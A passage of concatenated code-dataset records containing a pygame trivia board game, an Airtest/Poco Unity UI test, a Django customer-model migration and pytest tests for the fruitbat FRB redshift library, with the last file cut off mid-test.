60))\n self.Screen.blit(TextSurf2, TextRect2)\n\n events = pygame.event.get()\n for event in events:\n if event.type == pygame.QUIT:\n return False\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN:\n if not self.currenttxtbox.value:\n self.Errorstr = \"Naam mag niet leeg zijn!\"\n else:\n self.Errorstr = \"\"\n self.currenttxtbox.color = black\n if self.PlayerCount == 2:\n if self.currenttxtbox is self.txtbox:\n self.Players.append(Player(self.currenttxtbox.value, 0, 0, 0, 0, None, 1))\n self.currenttxtbox = self.txtbox2\n elif self.currenttxtbox is self.txtbox2:\n self.Players.append(Player(self.currenttxtbox.value, 0, 0, 0, 0, None, 2))\n print(self.Players)\n if self.PlayerCount == 3:\n if self.currenttxtbox is self.txtbox:\n self.Players.append(Player(self.currenttxtbox.value, 0, 0, 0, 0, None, 1))\n self.currenttxtbox = self.txtbox2\n elif self.currenttxtbox is self.txtbox2:\n self.Players.append(Player(self.currenttxtbox.value, 0, 0, 0, 0, None, 2))\n self.currenttxtbox = self.txtbox3\n elif self.currenttxtbox is self.txtbox3:\n self.Players.append(Player(self.currenttxtbox.value, 0, 0, 0, 0, None, 3))\n print(self.Players)\n if self.PlayerCount == 4:\n if self.currenttxtbox is self.txtbox:\n self.Players.append(Player(self.currenttxtbox.value, 0, 0, 0, 0, None, 1))\n self.currenttxtbox = self.txtbox2\n elif self.currenttxtbox is self.txtbox2:\n self.Players.append(Player(self.currenttxtbox.value, 0, 0, 0, 0, None, 2))\n self.currenttxtbox = self.txtbox3\n elif self.currenttxtbox is self.txtbox3:\n self.Players.append(Player(self.currenttxtbox.value, 0, 0, 0, 0, None, 3))\n self.currenttxtbox = self.txtbox4\n elif self.currenttxtbox is self.txtbox4:\n self.Players.append(Player(self.currenttxtbox.value, 0, 0, 0, 0, None, 4))\n print(self.Players)\n\n if self.PlayerCount == 2:\n self.currenttxtbox.color = red\n self.currenttxtbox.update(events)\n self.currenttxtbox.draw(self.Screen)\n self.txtbox.draw(self.Screen)\n self.txtbox2.draw(self.Screen)\n elif self.PlayerCount == 3:\n self.currenttxtbox.color = red\n self.currenttxtbox.update(events)\n self.currenttxtbox.draw(self.Screen)\n self.txtbox.draw(self.Screen)\n self.txtbox2.draw(self.Screen)\n self.txtbox3.draw(self.Screen)\n elif self.PlayerCount == 4:\n self.currenttxtbox.color = red\n self.currenttxtbox.update(events)\n self.currenttxtbox.draw(self.Screen)\n self.txtbox.draw(self.Screen)\n self.txtbox2.draw(self.Screen)\n self.txtbox3.draw(self.Screen)\n self.txtbox4.draw(self.Screen)\n\n def display_category(self):\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n smallText = pygame.font.Font('freesansbold.ttf', 15)\n\n pygame.draw.rect(self.Screen, white,\n ((self.Width / 2), 0, (self.Width / 2), self.Height))\n\n self.showExitgameButton()\n\n TextSurf, TextRect = self.Utilities.text_object(\n \"Choose your category \" + self.Players[self.indexOfCurrentPlayer].Name, largeText, None, black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 6))\n self.Screen.blit(TextSurf, TextRect)\n\n dictOfCategories = {\"Geografie\": True, \"Sport\": True, \"Entertainment\": True, \"Historie\": True}\n for player in self.Players:\n choosenCategory = player.Category\n\n for key, value in dictOfCategories.items():\n if choosenCategory == key:\n dictOfCategories[key] = False\n\n if dictOfCategories[\"Geografie\"]:\n pygame.draw.rect(self.Screen, green, (((self.Width / 2) + 10), ((self.Height / 100) * 10), ((self.Width / 2) - 20), 100))\n self.button(\"Geografie\", ((self.Width / 2) + 10), ((self.Height / 100) * 10), ((self.Width / 2) - 20), 100, green, grey, \"Geografie\")\n self.Screen.blit(self.font.render('Geografie', True, (white)), (((self.Width / 2) + 10), ((self.Height / 100) * 10)))\n\n if dictOfCategories[\"Sport\"]:\n pygame.draw.rect(self.Screen, blue,\n (((self.Width / 2) + 10), ((self.Height / 100) * 30), ((self.Width / 2) - 20), 100))\n self.button(\"Sport\", ((self.Width / 2) + 10), ((self.Height / 100) * 30), ((self.Width / 2) - 20), 100,\n blue, grey, \"Sport\")\n self.Screen.blit(self.font.render('Sport', True, (white)),\n (((self.Width / 2) + 10), ((self.Height / 100) * 30)))\n\n if dictOfCategories[\"Entertainment\"]:\n pygame.draw.rect(self.Screen, red,\n (((self.Width / 2) + 10), ((self.Height / 100) * 50), ((self.Width / 2) - 20), 100))\n self.button(\"Entertainment\", ((self.Width / 2) + 10), ((self.Height / 100) * 50), ((self.Width / 2) - 20),\n 100, red, grey, \"Entertainment\")\n self.Screen.blit(self.font.render('Entertainment', True, (white)),\n (((self.Width / 2) + 10), ((self.Height / 100) * 50)))\n\n if dictOfCategories[\"Historie\"]:\n pygame.draw.rect(self.Screen, yellow, (((self.Width / 2) + 10), ((self.Height / 100) * 70), ((self.Width / 2) - 20), 100))\n self.button(\"Historie\", ((self.Width / 2) + 10), ((self.Height / 100) * 70), ((self.Width / 2) - 20), 100, yellow, grey, \"Historie\")\n self.Screen.blit(self.font.render('Historie', True, (white)), (((self.Width / 2) + 10), ((self.Height / 100) * 70)))\n\n\n self.MouseClicked = False\n\n def button(self, msg, x, y, w, h, ic, ac, action=None):\n mouse = pygame.mouse.get_pos()\n click = pygame.mouse.get_pressed()\n diced = random.randrange(1, 7)\n\n if x + w > mouse[0] > x and y + h > mouse[1] > y:\n pygame.draw.rect(self.Screen, ac, (x, y, w, h))\n if self.selectedPlayers == \"\":\n if self.MouseClicked and action != None:\n\n if action == \"2p\":\n self.PlayerCount = 2\n elif action == \"3p\":\n self.PlayerCount = 3\n elif action == \"4p\":\n self.PlayerCount = 4\n\n if action == \"ok\":\n print(\"ok\")\n self.chosenName == self.playerNames().textinput.update(self.playerNames().events)\n print(self.playerNames().get_text())\n\n if action == \"Sport\":\n self.Players[self.indexOfCurrentPlayer].set_position(self.Tower.Rows[14][4].X - 30,\n self.Tower.Rows[14][4].Y - 30, 14, 4,\n action)\n self.increaseCurrentIndex()\n\n\n elif action == \"Geografie\":\n self.Players[self.indexOfCurrentPlayer].set_position(self.Tower.Rows[14][6].X - 30, self.Tower.Rows[14][6].Y - 30, 14, 6, action)\n\n self.increaseCurrentIndex()\n elif action == \"Entertainment\":\n self.Players[self.indexOfCurrentPlayer].set_position(self.Tower.Rows[14][0].X - 30,\n self.Tower.Rows[14][0].Y - 30, 14, 0,\n action)\n self.increaseCurrentIndex()\n\n elif action == \"Historie\":\n self.Players[self.indexOfCurrentPlayer].set_position(self.Tower.Rows[14][2].X - 30, self.Tower.Rows[14][2].Y - 30, 14, 2, action)\n self.increaseCurrentIndex()\n\n\n else:\n pygame.draw.rect(self.Screen, ic, (x, y, w, h))\n\n def increaseCurrentIndex(self):\n if len(self.Players) - 1 == self.indexOfCurrentPlayer:\n self.indexOfCurrentPlayer = 0\n else:\n self.indexOfCurrentPlayer += 1\n\n def PlayerSelect(self):\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n smallText = pygame.font.Font('freesansbold.ttf', 15)\n\n TextSurf, TextRect = self.Utilities.text_object(\"How many players? \", largeText, None, black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 6))\n self.Screen.blit(TextSurf, TextRect)\n\n pygame.draw.rect(self.Screen, green, (((self.Width / 2) * 1.1), ((self.Height / 100) * 10), 100, 100))\n self.button(\"2\", ((self.Width / 2) * 1.1), ((self.Height / 100) * 10), 100, 100, green, grey, \"2p\")\n self.Screen.blit(self.font.render('2', True, (white)), (((self.Width / 2) * 1.1), ((self.Height / 100) * 10)))\n\n pygame.draw.rect(self.Screen, blue, (((self.Width / 2) * 1.1), ((self.Height / 100) * 30), 100, 100))\n self.button(\"4\", ((self.Width / 2) * 1.1), ((self.Height / 100) * 30), 100, 100, green, grey, \"4p\")\n self.Screen.blit(self.font.render('4', True, (white)), (((self.Width / 2) * 1.1), ((self.Height / 100) * 30)))\n\n pygame.draw.rect(self.Screen, yellow, (((self.Width / 2) * 1.3), ((self.Height / 100) * 10), 100, 100))\n self.button(\"3\", ((self.Width / 2) * 1.3), ((self.Height / 100) * 10), 100, 100, green, grey, \"3p\")\n self.Screen.blit(self.font.render('3', True, (white)), (((self.Width / 2) * 1.3), ((self.Height / 100) * 10)))\n\n def playerChoose(self):\n if self.selectedPlayers == \"\":\n self.PlayerSelect()\n elif self.selectedPlayers == \"2\":\n self.playerAmount()\n\n pygame.draw.rect(self.Screen, grey, (100, 100, 400, 50))\n textSurf, textRect = self.Utilities.text_object(\"Player 1 naam\", pygame.font.Font('freesansbold.ttf', 20),\n None)\n textRect.center = ((100 + (200 / 2)), (100 + (50 / 2)))\n self.Screen.blit(textSurf, textRect)\n pygame.draw.rect(self.Screen, green, (300, 105, 195, 40))\n\n self.button(\"ok\", 100, 300, 100, 100, red, red, \"ok\")\n box = self.playerNames().textinput.get_surface(), (300, 105)\n self.Screen.blit(box)\n\n # if self.pNames().pressed[pygame.K_RETURN]:\n # if self.pNames().textinput.update(self.pNames().events):\n # print(self.pNames().get_text(box))\n\n pygame.draw.rect(self.Screen, grey, (100, 200, 400, 50))\n textSurf, textRect = self.Utilities.text_object(\"Player 2 naam\", pygame.font.Font('freesansbold.ttf', 20),\n None)\n textRect.center = ((100 + (200 / 2)), (200 + (50 / 2)))\n self.Screen.blit(textSurf, textRect)\n pygame.draw.rect(self.Screen, green, (300, 205, 195, 40))\n\n\n elif self.selectedPlayers == \"3\":\n self.playerAmount()\n\n pygame.draw.rect(self.Screen, grey, (100, 100, 400, 50))\n textSurf, textRect = self.Utilities.text_object(\"Player 1 naam\", pygame.font.Font('freesansbold.ttf', 20),\n None)\n textRect.center = ((100 + (200 / 2)), (100 + (50 / 2)))\n self.Screen.blit(textSurf, textRect)\n pygame.draw.rect(self.Screen, green, (300, 105, 195, 40))\n\n pygame.draw.rect(self.Screen, grey, (100, 200, 400, 50))\n textSurf, textRect = self.Utilities.text_object(\"Player 2 naam\", pygame.font.Font('freesansbold.ttf', 20),\n None)\n textRect.center = ((100 + (200 / 2)), (200 + (50 / 2)))\n self.Screen.blit(textSurf, textRect)\n pygame.draw.rect(self.Screen, green, (300, 205, 195, 40))\n\n pygame.draw.rect(self.Screen, grey, (100, 300, 400, 50))\n textSurf, textRect = self.Utilities.text_object(\"Player 3 naam\", pygame.font.Font('freesansbold.ttf', 20),\n None)\n textRect.center = ((100 + (200 / 2)), (300 + (50 / 2)))\n self.Screen.blit(textSurf, textRect)\n pygame.draw.rect(self.Screen, green, (300, 305, 195, 40))\n\n self.Screen.blit(textSurf, textRect)\n elif self.selectedPlayers == \"4\":\n self.playerAmount()\n\n pygame.draw.rect(self.Screen, grey, (100, 100, 400, 50))\n textSurf, textRect = self.Utilities.text_object(\"Player 1 naam\", pygame.font.Font('freesansbold.ttf', 20),\n None)\n textRect.center = ((100 + (200 / 2)), (100 + (50 / 2)))\n self.Screen.blit(textSurf, textRect)\n pygame.draw.rect(self.Screen, green, (300, 105, 195, 40))\n\n pygame.draw.rect(self.Screen, grey, (100, 200, 400, 50))\n textSurf, textRect = self.Utilities.text_object(\"Player 2 naam\", pygame.font.Font('freesansbold.ttf', 20),\n None)\n textRect.center = ((100 + (200 / 2)), (200 + (50 / 2)))\n self.Screen.blit(textSurf, textRect)\n pygame.draw.rect(self.Screen, green, (300, 205, 195, 40))\n\n pygame.draw.rect(self.Screen, grey, (100, 300, 400, 50))\n textSurf, textRect = self.Utilities.text_object(\"Player 3 naam\", pygame.font.Font('freesansbold.ttf', 20),\n None)\n textRect.center = ((100 + (200 / 2)), (300 + (50 / 2)))\n self.Screen.blit(textSurf, textRect)\n pygame.draw.rect(self.Screen, green, (300, 305, 195, 40))\n\n pygame.draw.rect(self.Screen, grey, (100, 400, 400, 50))\n textSurf, textRect = self.Utilities.text_object(\"Player 3 naam\", pygame.font.Font('freesansbold.ttf', 20),\n None)\n textRect.center = ((100 + (200 / 2)), (400 + (50 / 2)))\n self.Screen.blit(textSurf, textRect)\n\n def showExitgameButton(self):\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n smallText = pygame.font.Font('freesansbold.ttf', 15)\n\n buttonXAxis = ((self.Width / 100) * 85)\n buttonYAxis = ((self.Height / 100) * 93)\n\n buttonWidth = ((self.Height / 100) * 25)\n buttonHeight = ((self.Height / 100) * 6)\n\n mouse = pygame.mouse.get_pos()\n click = pygame.mouse.get_pressed()\n\n pygame.draw.rect(self.Screen, black, (buttonXAxis, buttonYAxis, buttonWidth, buttonHeight))\n TextSurf, TextRect = self.Utilities.text_object(\"Exit Game\", smallText, None, white)\n TextRect.center = ((buttonXAxis + (buttonWidth / 2)), (buttonYAxis + (buttonHeight / 2)))\n self.Screen.blit(TextSurf, TextRect)\n\n if (self.MouseClicked):\n if (buttonXAxis + buttonWidth > mouse[0] > buttonXAxis and buttonYAxis + buttonHeight > mouse[\n 1] > buttonYAxis):\n self.MouseClicked = False\n main.run()\n\n def displaySelectFirstPlayerScreen(self):\n\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n smallText = pygame.font.Font('freesansbold.ttf', 15)\n\n currentPlayer = self.Players[self.indexOfCurrentPlayer]\n\n pygame.draw.rect(self.Screen, white,\n ((self.Width / 2), 0, (self.Width / 2), self.Height))\n\n self.showExitgameButton()\n\n TextSurf, TextRect = self.Utilities.text_object(\n \"Roll the dice \" + currentPlayer.Name, largeText, None, black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 6))\n self.Screen.blit(TextSurf, TextRect)\n\n TextSurf, TextRect = self.Utilities.text_object(\n \"The player with the highest score begins\", smallText, None, black)\n TextRect = (((self.Width / 100) * 55), ((self.Height / 100) * 15))\n self.Screen.blit(TextSurf, TextRect)\n\n startingPointForYAxis = ((self.Height / 100) * 20)\n\n for player in self.Players:\n\n playerIsDisabled = player.TempDisabled\n\n diceResultOfPlayer = \"\"\n if player.ResultOfRolledDice != -1:\n diceResultOfPlayer = str(player.ResultOfRolledDice)\n\n if playerIsDisabled:\n TextSurf, TextRect = self.Utilities.text_object(\n player.Name + \" : \" + diceResultOfPlayer, smallText, None, grey)\n TextRect = (((self.Width / 100) * 55), startingPointForYAxis)\n self.Screen.blit(TextSurf, TextRect)\n startingPointForYAxis += 20\n else:\n TextSurf, TextRect = self.Utilities.text_object(\n player.Name + \" : \" + diceResultOfPlayer, smallText, None, black)\n TextRect = (((self.Width / 100) * 55), startingPointForYAxis)\n self.Screen.blit(TextSurf, TextRect)\n startingPointForYAxis += 20\n\n buttonXAxis = ((self.Width / 100) * 68)\n buttonYAxis = ((self.Height / 100) * 50)\n\n buttonWidth = ((self.Height / 100) * 25)\n buttonHeight = ((self.Height / 100) * 6)\n\n mouse = pygame.mouse.get_pos()\n click = pygame.mouse.get_pressed()\n\n if currentPlayer.ResultOfRolledDice == -1:\n pygame.draw.rect(self.Screen, black, (buttonXAxis, buttonYAxis, buttonWidth, buttonHeight))\n TextSurf, TextRect = self.Utilities.text_object(\"Roll The Dice\", smallText, None, white)\n TextRect.center = ((buttonXAxis + (buttonWidth / 2)), (buttonYAxis + (buttonHeight / 2)))\n rollTheDiceButton = self.Screen.blit(TextSurf, TextRect)\n\n if (self.MouseClicked):\n if (rollTheDiceButton.collidepoint(mouse)):\n # Give the user a random number\n currentPlayer.ResultOfRolledDice = random.randint(1, 6)\n self.MouseClicked = False\n\n else:\n TextSurf, TextRect = self.Utilities.text_object(\"You got Number \" + str(currentPlayer.ResultOfRolledDice),\n largeText,\n None,\n black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 40))\n self.Screen.blit(TextSurf, TextRect)\n\n pygame.draw.rect(self.Screen, black, (buttonXAxis, buttonYAxis, buttonWidth, buttonHeight))\n TextSurf, TextRect = self.Utilities.text_object(\"Go to next player\", smallText, None, white)\n TextRect.center = ((buttonXAxis + (buttonWidth / 2)), (buttonYAxis + (buttonHeight / 2)))\n nextPlayerButton = self.Screen.blit(TextSurf, TextRect)\n\n if (self.MouseClicked):\n\n if (nextPlayerButton.collidepoint(mouse)):\n # Give the user a random number\n amountOfPlayer = len(self.Players) - 1\n\n if amountOfPlayer == self.indexOfCurrentPlayer:\n self.checkWhichPlayerIsFirst()\n else:\n if self.Players[self.indexOfCurrentPlayer + 1].TempDisabled:\n self.checkWhichPlayerIsFirst()\n else:\n self.indexOfCurrentPlayer += 1\n self.MouseClicked = False\n\n def checkWhichPlayerIsFirst(self):\n\n listOfDiceResults = []\n\n self.Players.sort(key=lambda x: x.ResultOfRolledDice, reverse=True)\n\n for player in self.Players:\n listOfDiceResults.append(player.ResultOfRolledDice)\n\n maxRolled = max(listOfDiceResults)\n lengthOfList = len(listOfDiceResults)\n amountOfMaxRolled = []\n\n for i in range(0, lengthOfList):\n if listOfDiceResults[i] == maxRolled:\n if not self.Players[i].TempDisabled:\n amountOfMaxRolled.append(i)\n self.Players[i].ResultOfRolledDice = -1\n else:\n self.Players[i].TempDisabled = True\n\n if len(amountOfMaxRolled) == 1:\n # Go to the next screen\n self.indexOfCurrentPlayer = 0\n self.firstPlayerSelected = True\n\n else:\n self.indexOfCurrentPlayer = 0\n self.displaySelectFirstPlayerScreen()\n\n def draw(self):\n\n if not self.gameHasEnded:\n\n # Setting the first player\n if self.indexOfCurrentPlayer == -1:\n self.indexOfCurrentPlayer = 0\n\n if len(self.Players) == self.PlayerCount:\n\n if self.firstPlayerSelected:\n\n if self.Players[self.indexOfCurrentPlayer].Category != None:\n\n if self.chosenCharacterMove != \"\":\n\n if self.goToQuestionButtonClicked:\n\n if self.question == \"\":\n #Get category from current player\n category = self.Players[self.indexOfCurrentPlayer].Category\n self.question = self.QuestionListObj.get_question_by_cat(category)\n self.answers = self.AnswerListObj.get_answers_for_question(self.question[0])\n\n self.displayQuestion(self.Screen, self.question, self.answers)\n\n else:\n self.showRollDiceScreen()\n\n else:\n self.displayMoveSelection()\n else:\n self.display_category()\n else:\n self.displaySelectFirstPlayerScreen()\n else:\n self.display_player_screen()\n\n else:\n self.showEndGameScreen()\n\n\nclass Tower:\n towerYAxis = 0\n scrollNavigation = 0\n\n def __init__(self, size):\n self.Size = size\n x = self.Size[0] / 8\n y = self.Size[1] / 30\n cols = []\n rows = []\n while y < self.Size[1]:\n while x < (self.Size[0]):\n cols.append(Point(x, y))\n if len(rows) > 4:\n x += (self.Size[0] / 8)\n else:\n x += (self.Size[0] / 4)\n rows.append(cols)\n cols = []\n if len(rows) > 4:\n x = self.Size[0] / 16\n else:\n x = self.Size[0] / 8\n y += self.Size[1] / 15\n self.Rows = rows\n\n def draw(self, screen):\n self.towerYAxis += self.scrollNavigation\n tower = pygame.draw.rect(screen, white, (0, self.towerYAxis, (screen.get_width() / 2), screen.get_height()))\n\n colours = [red, yellow, blue, green]\n multiply_value = 0\n\n for colour in colours:\n pygame.draw.rect(screen, colour,\n (tower.width * multiply_value, self.towerYAxis, (tower.width / 4), tower.height))\n multiply_value += 0.25\n\n for row in self.Rows:\n for col in row:\n pygame.draw.circle(screen, black, (int(col.X), int(col.Y)), 8, 0)\n\n\nclass Point:\n def __init__(self, x, y):\n self.X = x\n self.Y = y\n\n\nclass Player:\n def __init__(self, name, x, y, rowIndex, colIndex, category, backNumber):\n self.Name = name\n self.Position = Point(x, y)\n self.RowIndex = rowIndex\n self.ColIndex = colIndex\n self.Category = category\n self.ResultOfRolledDice = -1\n self.TempDisabled = False\n self.BackNumber = backNumber\n self.IsInUpperTower = False\n self.HasWon = False\n self.ScoreStored = False\n\n def update(self, x, y):\n self.Position.X = x\n self.Position.Y = y\n if self.ColIndex < 2 or (self.RowIndex < 5 and self.ColIndex == 0):\n self.Category = \"Entertainment\"\n elif (self.ColIndex > 1 and self.ColIndex < 4) or (self.RowIndex < 5 and self.ColIndex == 1):\n self.Category = \"Historie\"\n elif (self.ColIndex > 3 and self.ColIndex < 6) or (self.RowIndex < 5 and self.ColIndex == 2):\n self.Category = \"Sport\"\n elif (self.ColIndex > 5 and self.ColIndex < 8) or (self.RowIndex < 5 and self.ColIndex == 3):\n self.Category = \"Geografie\"\n\n def storeScore(self, db):\n if not self.ScoreStored:\n con = db.Con\n cur = db.Cur\n\n cur.execute(\"SELECT Name FROM user WHERE Name = %s\", self.Name)\n if cur.rowcount == 0:\n cur.execute(\"INSERT INTO user(Name, Wins, Loses) VALUES(%s, 0, 0)\", self.Name)\n con.commit()\n\n cur.execute(\"SELECT Wins, Loses FROM user WHERE Name = %s\", self.Name)\n\n wltpl = cur.fetchall()\n wins = wltpl[0][0]\n loses = wltpl[0][1]\n\n if self.HasWon:\n cur.execute(\"UPDATE user SET Wins = %s WHERE Name = %s\", (int(wins + 1), self.Name))\n con.commit()\n else:\n cur.execute(\"UPDATE user SET Loses = %s WHERE Name = %s\", (int(loses + 1), self.Name))\n con.commit()\n\n self.ScoreStored = True\n\n def set_position(self, x, y, rowIndex, colIndex, category):\n self.Category = category\n self.Position.X = x\n self.Position.Y = y\n self.RowIndex = rowIndex\n self.ColIndex = colIndex\n\n def draw(self, screen):\n if self.BackNumber == 1:\n player_image = pygame.image.load(\"images/player1.png\")\n elif self.BackNumber == 2:\n player_image = pygame.image.load(\"images/player2.png\")\n elif self.BackNumber == 3:\n player_image = pygame.image.load(\"images/player3.png\")\n elif self.BackNumber == 4:\n player_image = pygame.image.load(\"images/player4.png\")\n\n player_image = pygame.transform.scale(player_image, (60, 60))\n rect = player_image.get_rect()\n\n rect = rect.move((self.Position.X, self.Position.Y))\n screen.blit(player_image, rect)\n\n # pygame.draw.rect(screen, black, (self.Position.X, self.Position.Y, 30, 30)) \n\n\nmain = Main()\nmain.run()\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":64988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"53188296","text":"\n\nfrom xai.brain.wordbase.nouns._topaz import _TOPAZ\n\n#calss header\nclass _TOPAZES(_TOPAZ, ):\n\tdef __init__(self,): \n\t\t_TOPAZ.__init__(self)\n\t\tself.name = \"TOPAZES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"topaz\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_topazes.py","file_name":"_topazes.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"205006833","text":"# -*- encoding=utf8 -*-\n__author__ = \"zhangqi2011\"\n\nfrom airtest.core.api import *\n\nauto_setup(__file__)\n\n# 初始化Poco,重要!\nfrom poco.drivers.unity3d import UnityPoco\npoco = UnityPoco()\n\nmoney = int(poco(\"Money\").child('Text').get_text())\n\ncost = int(poco(\"2024\").child(\"Upgrade\").child(\"NonFullPanel\").child(\"Cost\").child(\"Number\").get_text())\n\n# 点击待测道具的升级按钮\npoco(\"2024\").child(\"Upgrade\").child(\"NonFullPanel\").child(\"UpgradeBtn\").click()\n\ncurrent_money = int(poco(\"Money\").child('Text').get_text())\n\nassert_equal(money-cost, current_money, \"成功扣除对应金币\")\npoco(text=\"600\")\n","sub_path":"tutorial/tutorial_poco.air/fish2.py","file_name":"fish2.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"5163565","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='CustomerMaster',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('CustomerCode', models.CharField(unique=True, max_length=15)),\n ('CustomerName', models.CharField(max_length=200, null=True, blank=True)),\n ('GuardianName', models.CharField(max_length=200, null=True, blank=True)),\n ('CustomerGender', models.CharField(blank=True, max_length=1, null=True, choices=[(b'M', b'Male'), (b'F', b'Female'), (b'O', b'Others')])),\n ('PermenantAddress', models.TextField()),\n ('PresentAddress', models.TextField()),\n ('LandLine1', models.CharField(max_length=15, null=True, blank=True)),\n ('LandLine2', models.CharField(max_length=15, null=True, blank=True)),\n ('CellPhone1', models.CharField(max_length=15, null=True, blank=True)),\n ('CellPhone2', models.CharField(max_length=15, null=True, blank=True)),\n ('Notes', models.TextField()),\n ('CustomerPhoto', models.ImageField(null=True, upload_to=b'cust_photo', blank=True)),\n ('CustomerIdProofType', models.CharField(blank=True, max_length=2, null=True, choices=[(b'D', b'Driving License'), (b'A', b'Adhar Card'), (b'P', b'Passport')])),\n ('IdProofNumber', models.CharField(max_length=15, null=True, blank=True)),\n ('CustomerIdProof', models.ImageField(null=True, upload_to=b'cust_id_proof', blank=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"EZFin/customer/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"283009268","text":"import os\n\nimport numpy as np\nfrom glob import glob\nimport pytest\nimport pytest_mpl\n\nfrom astropy.coordinates import SkyCoord\nfrom astropy import units as u\nimport pygedm\n\nfrom fruitbat import Frb, utils, cosmologies, methods, table, plot, catalogue\n\n\nclass TestFrbClass:\n\n # Create FRB objects for testing\n frb = Frb(dm=1000, dm_excess=1000, name='simple_frb')\n frb_raj_decj = Frb(dm=1000, raj=\"11:05:50.0\", decj=\"-8:34:12.0\")\n frb_gl_gb = Frb(dm=1000, gl=\"30.5\", gb=\"-60.2\")\n frb_w_s = Frb(dm=1000, width=30.0, peak_flux=20.0)\n frb_host_known = Frb(dm=1000, dm_excess=900, z_host=1.0, dm_host_loc=200)\n frb_dm_host_0 = Frb(dm=1000, dm_excess=900, z_host=1.0)\n frb_dm_host_est = Frb(dm=1100, dm_host_est=100)\n frb_energy = Frb(dm=1000, obs_bandwidth=400, width=1, peak_flux=2)\n frb_energy_freq = Frb(dm=1000, obs_freq_central=0.4, width=1, peak_flux=2)\n frb_utc = Frb(dm=1000, utc=\"1999-01-01T00:00:00.000\")\n frb_with_units = Frb(dm=1000, obs_bandwidth=400*u.MHz)\n frb_fluence = Frb(dm=1000, fluence=2)\n\n # Test that methods returns the correct value for DM=1000 and planck2018\n def test_methods(self):\n methods = {\n \"Ioka2003\": 0.80856155,\n \"Inoue2004\": 0.98344417,\n \"Zhang2018\": 1.10879646\n }\n\n for method in methods.keys():\n z = self.frb.calc_redshift(method=method, cosmology=\"Planck18\")\n assert np.isclose(z.value, methods[method]), \"Fail: {}\".format(method)\n\n # Test that a ValueError is raised when an invalid method is given.\n def test_invalid_method(self):\n invalid_method = \"jacqui1992\"\n with pytest.raises(ValueError):\n self.frb.calc_redshift(method=invalid_method, cosmology=\"Planck18\")\n\n # Test that a ValueError is raised when an invalid cosmology is given.\n def test_invalid_cosmology(self):\n invalid_cosmology = \"cosmos_1964\"\n with pytest.raises(ValueError):\n self.frb.calc_redshift(cosmology=invalid_cosmology)\n\n # Test raises error on dispersion measure less than zero\n def test_frb_negative_dm(self):\n with pytest.raises(ValueError):\n Frb(dm=-1000)\n\n # Test that the skycoords are calculated correctly when given raj and decj\n def test_frb_calc_skycoords_raj_decj(self):\n ra_str = \"11:05:50.0\"\n dec_str = \"-8:34:12.0\"\n\n skycoords = self.frb_raj_decj.calc_skycoords()\n test_skycoords = SkyCoord(ra_str, dec_str, frame=\"icrs\",\n unit=(u.hourangle, u.deg))\n\n ra, dec = skycoords.ra.value, skycoords.dec.value\n test_ra, test_dec = test_skycoords.ra.value, test_skycoords.dec.value\n assert np.isclose((ra, dec), (test_ra, test_dec)).all()\n\n # Test that the skycoords are calculated correctly when given gl and gb\n def test_frb_calc_skycoords_gl_gb(self):\n gl_str = \"30.5\"\n gb_str = \"-60.2\"\n\n skycoords = self.frb_gl_gb.calc_skycoords()\n test_skycoords = SkyCoord(gl_str, gb_str, frame=\"galactic\", unit=u.deg)\n\n gl, gb = skycoords.galactic.l.value, skycoords.galactic.b.value\n test_gl, test_gb = test_skycoords.l.value, test_skycoords.b.value\n assert np.isclose((gl, gb), (test_gl, test_gb)).all()\n\n # Test that calc_skycoords raises an error if no coords are given\n def test_frb_calc_skycoords_no_coords(self):\n with pytest.raises(ValueError):\n self.frb.calc_skycoords()\n\n # Test fluence is calculated correctly when given width and peak_flux.\n def test_frb_calc_fluence(self):\n fluence = self.frb_w_s.calc_fluence()\n assert np.isclose(fluence.value, 600.0)\n\n # Test calc_fluence raises a ValueError if width and peak_flux are None.\n def test_frb_calc_fluence_raise_error(self):\n with pytest.raises(ValueError):\n self.frb.calc_fluence()\n\n # Test calc_dm_igm calculates the dm_igm correctly for a known host.\n def test_frb_calc_dm_igm(self):\n dm_igm = self.frb_host_known.calc_dm_igm()\n assert np.isclose(dm_igm.value, 800.0)\n\n # Test calc_dm_igm raises ValueError when z is None.\n def test_frb_calc_dm_igm_z_none(self):\n with pytest.raises(ValueError):\n self.frb_w_s.calc_dm_igm()\n\n # Test calc_dm_igm raises ValueError when dm_host is 0.0 and z is not None.\n def test_frb_calc_dm_igm_dm_host_zero(self):\n with pytest.raises(ValueError):\n self.frb_dm_host_0.calc_dm_igm()\n\n # Test calc_redshift with subract_host\n def test_frb_calc_redshift_subtract_host(self):\n dm_1 = self.frb_dm_host_est.calc_redshift(subtract_host=True)\n dm_2 = self.frb.calc_redshift()\n assert np.isclose(dm_1, dm_2)\n\n # Test that calc_redshift will raise error if subtract_host is not a bool\n def test_frb_subtract_host_not_bool(self):\n with pytest.raises(ValueError):\n self.frb_dm_host_est.calc_redshift(subtract_host=\"yes\")\n\n # Test calc_dm_galaxy calculates dm_galaxy correctly for given coordinates.\n def 